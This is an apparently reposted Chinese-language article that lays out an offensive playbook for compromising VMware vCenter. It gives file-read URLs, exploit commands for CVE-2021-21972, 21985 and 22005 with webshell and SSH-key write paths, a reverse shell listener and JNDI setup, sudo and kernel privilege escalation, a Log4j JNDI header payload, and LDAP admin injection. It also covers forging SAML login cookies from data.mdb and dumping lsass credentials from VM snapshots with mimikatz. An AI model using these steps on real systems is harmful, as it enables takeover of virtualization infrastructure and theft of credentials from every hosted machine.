集权系统Vcenter打法总结
2023-5-7 19:20:24 Author: 李白你好(查看原文) 阅读量:196 收藏

01前言

Vcenter不用多说,懂的都懂,Vcenter是构建私有云基础架构的软件,它提供了一个可伸缩、可扩展的平台,为 虚拟化管理奠定了基础。VMware vCenter Server(以前称为 VMware VirtualCenterl),可集中管理 VMware vSphere 环境,与其他管理平台相比,极大地提高了 IT 管理员对虚拟环境的控制。

一句话概括:Vcenter是用来控制虚拟环境的,是一个集权系统,那么拿下它,就等同于拿下了它控制的所有虚拟主机。

02小技巧

vcenter版本获取

/sdk/vimServiceVersions.xml

数据库位置

http://x.x.x.x/eam/vib?id=c:\programData\Vmware\vCenterServer\cfg\vmware-vpx\vcdb.properties

网络空间测绘

app="vmware-vCenter"或者 title="+ ID_VC_Welcome +"" ID_VC_Welcome +" && country="JP"

攻防流程

1、判断vcenter版本

2、扫描是否存在相关漏洞

3、低权限-提权-高权限

4、ldap添加用户、伪造cookie获取web后台权限

5、获取后台锁屏机器权限

03获取Vcenter低权限

任意文件读取漏洞CVE-2021-21980

影响范围

vCenter Server 6.7

vCenter Server 6.5

Cloud Foundation (vCenter Server) 3.x

漏洞利用

具体怎么利用呢?看下面:

1、可读取postgresql数据库配置文件

http://x.x.x.x/eam/vib?id=c:\programData\Vmware\vCenterServer\cfg\vmware-vpx\vcdb.properties
2、直接读取data.mdb文件,提取cookie,登录后台

读取data数据,然后提权cookie 从而登录到后台中

https://x.x.x.x/eam/vib?id=C:\ProgramData\VMware\vCenterServer\data\vmdird\data.mdb

CVE-2021-21972 rce

漏洞验证

Url拼接下面这个路径:

/ui/vropspluginui/rest/services/uploadova

如果页面返回状态码为200、405,则可能存在漏洞

影响版本

VMware vCenter Server 7.0系列 < 7.0.U1c

VMware vCenter Server 6.7系列 < 6.7.U3l

VMware vCenter Server 6.5系列 < 6.5 U3n

VMware ESXi 7.0系列 < ESXi70U1c-17325551

VMware ESXi 6.7系列 < ESXi670-202102401-SG

VMware ESXi 6.5系列 < ESXi650-202102101-SG

可直接利用攻击脚本进行攻击利用!

需要根据windows\linux 系统,不断的拼接url, 攻击脚本至少需要写120次,寻找真实的绝对路径,受网络问题影响较大,如果写入成功,就会直接回显shell地址。 

windows系统

附上工具链接:

https://github.com/horizon3ai/CVE-2021-21972

python CVE-2021-21972.py -t x.x.x.x -p ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\gsl.jsp -o win -f gsl.jsp参数用法含义如下:
-t (目标地址)-f (上传的文件)-p (上传后的webshell路径,默认不用改)

上传后的路径为

https://x.x.x.x/statsreport/gsl.jsp

完整路径为

C:/ProgramData/VMware/vCenterServer/data/perfcharts/tc-instance/webapps/statsreport

Windows路径

../../../../../ProgramData/VMware/vCenterServer/data/perfcharts/tc-instance/webapps/statsreport/log.jsp

对应shell地址是/statsreport/log.jsp

Linux系统

思路:写webshell、写私钥

1、写公私钥(需要22端口开放)

往目录../../home/vsphere-ui/.ssh/authorized_keys写就行

python3 CVE-2021-21972.py -t x.x.x.x -p /home/vsphere-ui/.ssh/authorized_keys -o unix -f id_rsa_2048.pub
2、遍历写shell(时间较久)

Linux  shell路径

../../usr/lib/vmware-vsphere-ui/server/work/deployer/s/global/41/0/h5ngc.war/resources/log.jsp

对应shell地址是/ui/resources/log.jsp

工具链接:

https://github.com/NS-Sp4ce/CVE-2021-21972

CVE-2021-21985 rce

可利用脚本直接攻击vcenter_cve_2021_21985 。

影响版本

VMware vCenter Server 7.0系列 < 7.0.U2b

VMware vCenter Server 6.7系列 < 6.7.U3n

VMware vCenter Server 6.5系列 < 6.5 U3p

VMware Cloud Foundation 4.x 系列 < 4.2.1

VMware Cloud Foundation 4.x 系列 < 3.10.2.1

出网利用

工具链接:

https://github.com/r0ckysec/CVE-2021-21985

用法如下:

1、在vps

java -jar JNDIInjection-Bypass.jar 1099 <监听port>

2、在vps

# nc接收反弹shell

nc -lvvp <监听port> 

3、攻击机:
python cve-2021-21985_exp.py

条件:

需要目标出网

如果目标不出网,可以尝试研究下原理,打个内存马。感兴趣的可以私聊交流一下!!当然也可以看一下下面的不出网利用。

不出网利用

工具链接:

https://github.com/r0ckysec/CVE-2021-21985

具体原理:

利用ClassPathXmlApplicationContext类加载xml文件触发spel注入,weblogic和jackson都有关于这个类的cve,利用方式都差不多。


04获取高权限

提权

对于上文通过漏洞获取的低权限主机,我们可以利用提权漏洞进行提权,高权限方便我们获取web后台权限

笔者认为vcenter大部分的Linux系统都是存在sudo提权漏洞的,所以这里着重介绍了sodu,如果使用sodu提权失败了,也可以尝试其他的提权方式。

1、CVE-2021-3156

https://github.com/worawit/CVE-2021-3156

vCenter的linux版可以直接用sudo提权(测了7u1和7u3j),直接用网上的python脚本。

重点讲讲两个脚本:

exploit_defaults_mailer.py

需要在交互的情景使用,使用后会在/tmp/目录下生成一个二进制文件,执行文件即可获得一个root的shell

exploit_userspec.py

往指定地点写入文件内容,这个脚本会往/etc/passwd目录下写入一个gg用户,其实就是一个任意文件写入的利用。

我们可以通过更改写入的路径和写入的内容,写一个root权限的webshell到vCenter服务器上

具体脚本,可以各位大佬们具体修改,这样才能发挥奇效。

我们可以通过更改写入的路径和写入的内容,写一个root权限的webshell到vCenter服务器上

改动:

PASSWD_PATH=b’/usr/lib/vmware-sso/vmware-sts/webapps/ROOT/1.jsp’APPEND_CONTENT=b’webshell内容’

即可在https://172.16.xx.xx/idm/..;/1.jsp (这里是用到了一个tomcat越权的tips,可以参考CVE-2021-22005的利用)得到一个root权限的webshell

如果想吃现成的,可以关注一下公众号,私信我哦!

2、其他提权

CVE-2022-0847 是Linux内核的本地提权漏洞。原理类似于Dirty Cow linux提权

CVE-2021-4034 Linux polkit权限提升漏洞

CVE-2021-3560

CVE-2021-3493

等等其他一些提权cve,只要能提权,哪个漏洞其实都无所谓!

cve-2021-22005 任意文件上传

该漏洞获取的shell默认为root权限,可以直接读取mdb文件。

漏洞:

攻击者可通过VMware vCenter Server 443端口上传恶意文件,在vCenter Server上执行任意代码。

影响版本:

VMware vCenter Server 7.0系列 < 7.0.U2b

VMware vCenter Server 6.7系列 < 6.7.U3n

VMware vCenter Server 6.5系列 < 6.5 U3p

VMware Cloud Foundation 4.x 系列 < 4.2.1

VMware Cloud Foundation 4.x 系列 < 3.10.2.1

漏洞利用

https://github.com/shmilylty/cve-2021-22005-exp

exp.exe -t -s

如果不指定-s的话,会上传默认的cmd.jsp,可以指定自己生成的马儿。

上传后的webshell完整路径为:

/usr/lib/vmware-sso/vmware-sts/webapps/ROOT/xx.jsp


CVE-2021-44228 Log4j

xff header jndi注入内存马

漏洞成因是Vcenter的SAML路由中,可以通过增加XFF头触发漏洞,把需要执行的命令跟在XFF后面。

目录攻击url: /websso/SAML2/SSO/vsphere.local?SAMLRequest=

poc :x-forwarded-for:{jndi}GET/websso/SAML2/SSO/vsphere.local?SAMLRequest= HTTP/1.1Host: 192.168.121.137User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateDnt: 1X-Forwarded-For: ${jndi:ldap://9qphlt.dnslog.cn}Upgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: noneSec-Fetch-User: ?1Te: trailersConnection: close

DNSlog探测漏洞是否存在; 内网 不出网,可以在内网搭建ldap。  直接注入内存马

05 后渗透获取web权限

ldap添加用户

ldap直接添加vcenter管理员账号。需要高权限

第一步  在目标vcenter 导出ldap凭据信息

linux列ldap信息:

/opt/likewise/bin/lwregshell list_values '[HKEY_THIS_MACHINE\services\vmdir]'

windows:列ldap信息方法:

reg query '\\HKEY_THIS_MACHINE\\services\\vmdir'reg query "HKLM\SYSTEM\CurrentControlSet\services\VMwareDirectoryService" /vdcAccountDN

第二步直接上脚本添加账户,再添加到管理员:

自己修改脚本:改成不input,避免密码的编码问题。 但是需要将ldap的凭证信息 填写进我们脚本中,然后一步到位。不用输入添加的账号和密码 。都是默认的

有linux、windows两个版本。

截图如下:

老规矩:

如果想吃现成的,可以关注一下公众号,私信我哦!

伪造cookie

方法一

脚本:

https://github.com/horizon3ai/vcenter_saml_login/blob/main/vcenter_saml_login.py

1、获取data.mdb :

windows::C:/ProgramData/VMware/vCenterServer/data/vmdird/data.mdb

linux

/storage/db/vmware-vmdir/data.mdb

利用data.mdb 提取ldp证书  进行身份验证获取有效管理员的cookie

利用脚本进行攻击:

python vcenter_saml_login.py -t <目标机器内网ip> -p data.mdb

获取到cookie session

直接使用生成的cookie访问vcenter服务器:http://xx.xx.xx.xx/ui

直接利用修改cookie工具进行修改cookie,进入后台。

方法二 用于data.mdb比较大的情况

参考3gstudent的文章:

https://3gstudent.github.io/vSphere%E5%BC%80%E5%8F%91%E6%8C%87%E5%8D%976-vCenter-SAML-Certificates

与方法一的区别就是该脚本vCenter_ExtraCertFromMdb.py可以直接在目标vcenter上运行,会生成证书!

python vCenter_ExtraCertFromMdb.py /storage/db/vmware-vmdir/data.mdb

然后把cat证书文件复制到本地,然后运行脚本vCenter_GenerateLoginCookie.py获得cookie

06获取后台的锁屏机器权限

方法一:Vmss2core Dump Hash

创建快照

下载 .vmsn和.vmem文件到本地

vmss2core工具对其进行文件格式转换

如果目标 VM 是 Microsoft Windows 8/8.1、Windows Server 2012、Windows Server 2016 或 Windows Server 2019,则执行-W8,否则使用-W:

.\vmss2core-sb-8456865.exe -W8 '.\Windows Server 2012-Snapshot1.vmsn' '.\Windows Server 2012-Snapshot1.vmem'

成功获取到内存文件

使用windbg加载memory文件
.load D:\Download\mimikatz_trunk\x64\mimilib.dll
重新加载
.Reload
查看lsass.exe进程的内存地址
!process 0 0 lsass.exe
切换到lsass.exe进程中
.process /r /p ffffe001084e32c0
运行mimikatz
!mimikatz

方法二:KonBoot引导

笔者觉得,获取后台锁屏机器的权限,目前所有方法都是由风险的,不管是KonBoot引导,还是挂载VMDK,还是其他的方式,都或多或少都有点风险,所以不到万不得已,不要用这些骚操作!

笔者在这里只是简单说一下KonBoot引导,这个是笔者看来目前算是比较好用的方法了!有其他好用的方法,也可以私聊笔者一起讨论一下。

参考谢公子的文章:

https://mp.weixin.qq.com/s/Okxc4CdFRPe82UHN4UXQHQ

写的非常详细!!!推荐!!!!

最后文中所有的脚本,魔改后的脚本,思路,everything,都可以私信我哦!


文章来源: http://mp.weixin.qq.com/s?__biz=MzkwMzMwODg2Mw==&mid=2247498362&idx=2&sn=aac0f523c4d766b621d33c67a7553c11&chksm=c09a892af7ed003cc05b57597693fb58e5a3dae1b752f735012b19ede7e26c5f11e1309f08c1#rd
如有侵权请联系:admin#unsafe.sh